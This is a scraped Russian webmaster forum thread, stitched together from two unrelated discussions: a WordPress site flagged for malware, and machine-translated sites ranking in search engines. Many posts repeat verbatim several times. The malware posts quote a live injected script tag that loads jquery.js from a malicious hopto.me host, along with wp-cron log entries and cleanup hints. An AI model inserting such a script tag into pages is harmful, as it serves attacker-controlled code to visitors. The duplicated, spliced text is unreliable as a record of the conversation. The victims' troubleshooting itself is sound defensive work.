MoMM: Точно так же как остальные ГС: сперва после визита быстроробота вносятся, а потом после анализа вылетают или в "сопли" или совсем... откройте тот же график в масштабе "Помесячно" и увидите "взлет и падение героя"
Так же заметно что пациент долго живет с нормальным трафиком. Да, взлеты падения но середина вполне приемлемая.
Я случайно как то на него нарвался в начале года с тех пор и мониторю его переодически. Интересно как долго проживет.
beginerx: надо чистить базу данных вашей cms, вирус спрятан там, в коде ничего не найдете. Бэкапа базы ясно дели никто не делал?
Бэкапы делаются ежедневно. Посмотрю базу.
---------- Добавлено 19.11.2013 в 09:37 ----------
Ранее заметил в логах хостинга записи такого вида:ххх.ххх.ххх.ххх - - [18/Nov/2013:22:11:41 +0300] "POST /wp-cron.php?doing_wp_cron=1384801901.9823780059814453125000 HTTP/1.0" 200 211 "-" "WordPress/3.7.1; http://sitename.ru
Цифры такой последовательности 1384800197 встречаются в зараженом коде.
В Конфиге сайта я остановил wp_cron. Так как ранее остановка его прекращала появление этого события.
sema_and: Аналогично. Google прислал сообщение, что на сайте обнаружено вредоносное ПО. <script type="text/javascript" src="http://rdomn1384425908.hopto.me/jquery.js?1384426008">
Все пересмотрел. Скачал полный архив сайта, прогнал его двумя антивирусами. Рекомендации в этой ветке выполнил. Результата ноль. Может через 24 часа как Google проверит ситуация изменится.
Проблема сохранилась. Только уже ругается яндекс а не google.
Аналогично. Google прислал сообщение, что на сайте обнаружено вредоносное ПО. <script type="text/javascript" src="http://rdomn1384425908.hopto.me/jquery.js?1384426008">
Все пересмотрел. Скачал полный архив сайта, прогнал его двумя антивирусами. Рекомендации в этой ветке выполнил. Результата ноль. Может через 24 часа как Google проверит ситуация изменится.
Тоже приходило такое письмо. Похоже на стрёмную замануху
Точно так же как остальные ГС: сперва после визита быстроробота вносятся, а потом после анализа вылетают или в "сопли" или совсем... откройте тот же график в масштабе "Помесячно" и увидите "взлет и падение героя"
Так же заметно что пациент долго живет с нормальным трафиком. Да, взлеты падения но середина вполне приемлемая.
Я случайно как то на него нарвался в начале года с тех пор и мониторю его переодически. Интересно как долго проживет.
Предположил бы, что за счет весьма немаленького СЯ, куда неминуемо влетят НК запросы.
Всё это понятно. Как поисковики пускают механический перевод в выдачу?
Для примера. Вот сайт kramelion.ru и слепому будет видно, что это механический перевод wikihow.com
Статистика посещаемости: http://www.liveinternet.ru/stat/kramelion.ru/index.html
Вопрос: как такое живет????
Нет никаких линков. Браузеры: Explorer, yandex, Chrome
Аналогичная ситуация на 3-х ресурсах. Хотелось бы определенности)
надо чистить базу данных вашей cms, вирус спрятан там, в коде ничего не найдете. Бэкапа базы ясно дели никто не делал?
Бэкапы делаются ежедневно. Посмотрю базу.
---------- Добавлено 19.11.2013 в 09:37 ----------
Ранее заметил в логах хостинга записи такого вида:ххх.ххх.ххх.ххх - - [18/Nov/2013:22:11:41 +0300] "POST /wp-cron.php?doing_wp_cron=1384801901.9823780059814453125000 HTTP/1.0" 200 211 "-" "WordPress/3.7.1; http://sitename.ru
Цифры такой последовательности 1384800197 встречаются в зараженом коде.
В Конфиге сайта я остановил wp_cron. Так как ранее остановка его прекращала появление этого события.
Аналогично. Google прислал сообщение, что на сайте обнаружено вредоносное ПО. <script type="text/javascript" src="http://rdomn1384425908.hopto.me/jquery.js?1384426008">
Все пересмотрел. Скачал полный архив сайта, прогнал его двумя антивирусами. Рекомендации в этой ветке выполнил. Результата ноль. Может через 24 часа как Google проверит ситуация изменится.
Проблема сохранилась. Только уже ругается яндекс а не google.
Ищите вставку в яваскриптах сайта
;document.write(unescape(и дальше код
Ничего подозрительно не нашел.
Аналогично. Google прислал сообщение, что на сайте обнаружено вредоносное ПО. <script type="text/javascript" src="http://rdomn1384425908.hopto.me/jquery.js?1384426008">
Все пересмотрел. Скачал полный архив сайта, прогнал его двумя антивирусами. Рекомендации в этой ветке выполнил. Результата ноль. Может через 24 часа как Google проверит ситуация изменится.